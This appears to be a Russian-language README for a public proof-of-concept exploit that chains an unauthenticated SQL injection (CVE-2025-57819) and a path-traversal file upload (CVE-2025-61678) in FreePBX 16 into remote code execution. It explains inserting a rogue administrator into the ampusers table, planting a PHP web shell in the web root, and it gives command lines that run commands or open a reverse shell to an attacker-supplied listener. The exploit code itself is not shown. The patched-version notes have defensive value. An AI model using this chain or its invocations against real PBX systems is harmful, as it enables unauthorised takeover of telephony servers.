FreePBX 16 — Неаутентифицированная SQLi до RCE

Эксплойт типа proof-of-concept, объединяющий две уязвимости FreePBX для перехода от нулевого доступа к удаленному выполнению кода на FreePBX 16.

CVE	Компонент	Влияние
CVE-2025-57819	Загрузчик модуля Endpoint (параметр `brand`)	Неаутентифицированная каскадная SQL-инъекция
CVE-2025-61678	Загрузчик прошивок Endpoint Manager (параметр `fwbrand`)	Аутентифицированная произвольная загрузка файла (обход пути)

Как это работает

Создать администратора (CVE-2025-57819) — каскадная SQL-инъекция, доступная без аутентификации через загрузчик эндпоинтов с пространством имен (namespaced endpoint loader), используется для INSERT нового администратора с полным доступом непосредственно в таблицу ampusers.
Аутентифицироваться — PoC входит в панель администратора как только что созданный пользователь.
Разместить веб-шелл (CVE-2025-61678) — обработчик загрузки прошивок Endpoint Manager используется с обходом пути ../../../var/www/html/<dir> в fwbrand для записи PHP-веб-шелла в корень веб-сервера.
Выполнить — выполнить одну команду или получить интерактивную обратную оболочку.

Затронутые версии

FreePBX 16 (модуль Endpoint до версии 16.0.92). Также исправлено в 17.0.6. Обновитесь до исправленного релиза.

Использование

# single command
python3 exploit.py --rhost pbx.example.com --command "id"

# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Параметры

Требования

pip install requests pwntools

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных целей. Используйте исключительно на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несет ответственности за неправомерное использование.

Ключевые слова

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · неаутентифицированная SQL-инъекция · каскадная инъекция запросов · модуль Endpoint · Endpoint Manager · аутентифицированная загрузка файлов · обход пути · удаленное выполнение кода · RCE · PoC · эксплойт · безопасность VoIP

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb

`--rhost`	Целевой хост (обязательно)
`--rport`	Целевой порт (по умолчанию `443`)
`--http`	Использовать HTTP вместо HTTPS
`--lhost` / `--lport`	Адрес для обратной оболочки
`--command`	Выполнить одну команду вместо оболочки

FreePBX-CVE-2025-57819-RCE

Популярное